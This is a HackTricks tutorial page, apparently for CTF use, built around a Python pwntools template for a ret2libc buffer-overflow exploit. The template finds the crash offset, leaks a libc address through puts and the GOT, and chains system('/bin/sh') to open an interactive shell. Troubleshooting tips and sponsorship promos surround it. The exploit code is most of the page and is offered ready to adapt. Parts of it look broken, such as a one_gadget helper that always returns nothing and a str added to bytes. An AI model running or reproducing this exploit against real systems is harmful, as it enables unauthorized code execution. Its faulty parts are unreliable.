256 lines
8.3 KiB
Markdown
256 lines
8.3 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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{% code title="template.py" %}
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```python
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from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
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###################
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### CONNECTION ####
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###################
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LOCAL = False
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REMOTETTCP = True
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REMOTESSH = False
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GDB = False
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USE_ONE_GADGET = False
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LOCAL_BIN = "./vuln"
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REMOTE_BIN = "~/vuln" #For ssh
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LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
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ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
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if LOCAL:
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P = process(LOCAL_BIN, env=ENV) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTETTCP:
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P = remote('10.10.10.10',1339) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTESSH:
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ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
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p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
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elf = ELF(LOCAL_BIN)# Extract data from binary
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rop = ROP(elf)# Find ROP gadgets
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if GDB and not REMOTETTCP and not REMOTESSH:
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# attach gdb and continue
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# You can set breakpoints, for example "break *main"
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gdb.attach(P.pid, "b *main")
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#########################
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#### OFFSET FINDER ######
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#########################
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OFFSET = b"" #b"A"*264
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if OFFSET == b"":
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gdb.attach(P.pid, "c") #Attach and continue
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payload = cyclic(264)
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payload += b"AAAAAAAA"
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print(P.clean())
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P.sendline(payload)
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#x/wx $rsp -- Search for bytes that crashed the application
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#print(cyclic_find(0x63616171)) # Find the offset of those bytes
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P.interactive()
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exit()
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####################
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### Find Gadgets ###
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####################
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try:
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libc_func = "puts"
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PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
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except:
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libc_func = "printf"
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PUTS_PLT = ELF_LOADED.plt['printf']
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MAIN_PLT = ELF_LOADED.symbols['main']
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POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
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RET = (ROP_LOADED.find_gadget(['ret']))[0]
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log.info("Main start: " + hex(MAIN_PLT))
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log.info("Puts plt: " + hex(PUTS_PLT))
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log.info("pop rdi; ret gadget: " + hex(POP_RDI))
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log.info("ret gadget: " + hex(RET))
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########################
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### Find LIBC offset ###
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########################
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def generate_payload_aligned(rop):
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payload1 = OFFSET + rop
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if (len(payload1) % 16) == 0:
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return payload1
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else:
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payload2 = OFFSET + p64(RET) + rop
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if (len(payload2) % 16) == 0:
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log.info("Payload aligned successfully")
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return payload2
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else:
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log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
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return payload1
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def get_addr(libc_func):
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FUNC_GOT = ELF_LOADED.got[libc_func]
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log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
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# Create rop chain
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rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
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rop1 = generate_payload_aligned(rop1)
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# Send our rop-chain payload
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#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
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print(P.clean()) # clean socket buffer (read all and print)
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P.sendline(rop1)
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# If binary is echoing back the payload, remove that message
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recieved = P.recvline().strip()
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if OFFSET[:30] in recieved:
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recieved = P.recvline().strip()
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# Parse leaked address
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log.info(f"Len rop1: {len(rop1)}")
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leak = u64(recieved.ljust(8, b"\x00"))
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log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
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# Set lib base address
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if LIBC:
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LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
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print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
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log.info("LIBC base @ %s" % hex(LIBC.address))
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# If not LIBC yet, stop here
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else:
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print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
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P.interactive()
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return hex(leak)
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get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
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#############################
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#### FINAL EXPLOITATION #####
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#############################
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## Via One_gadget (https://github.com/david942j/one_gadget)
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# gem install one_gadget
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def get_one_gadgets(libc):
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import string, subprocess
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args = ["one_gadget", "-r"]
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if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
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args += ["-b", libc.hex()]
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else:
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args += [libc]
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try:
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one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
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except:
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print("One_gadget isn't installed")
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one_gadgets = []
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return
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rop2 = b""
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if USE_ONE_GADGET:
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one_gadgets = get_one_gadgets(LIBC)
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if one_gadgets:
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rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
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## Normal/Long exploitation
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if not rop2:
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BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
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SYSTEM = LIBC.sym["system"]
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EXIT = LIBC.sym["exit"]
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log.info("POP_RDI %s " % hex(POP_RDI))
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log.info("bin/sh %s " % hex(BINSH))
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log.info("system %s " % hex(SYSTEM))
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log.info("exit %s " % hex(EXIT))
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rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
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rop2 = generate_payload_aligned(rop2)
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print(P.clean())
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P.sendline(rop2)
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P.interactive() #Interact with your shell :)
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```
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{% endcode %}
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# Common problems
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## MAIN\_PLT = elf.symbols\['main'] not found
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If the "main" symbol does not exist. Then you can just where is the main code:
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```python
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objdump -d vuln_binary | grep "\.text"
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Disassembly of section .text:
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0000000000401080 <.text>:
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```
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and set the address manually:
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```python
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MAIN_PLT = 0x401080
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```
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## Puts not found
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If the binary is not using Puts you should check if it is using
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## `sh: 1: %s%s%s%s%s%s%s%s: not found`
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If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
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Try to **subtract 64 bytes to the address of "/bin/sh"**:
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```python
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BINSH = next(libc.search("/bin/sh")) - 64
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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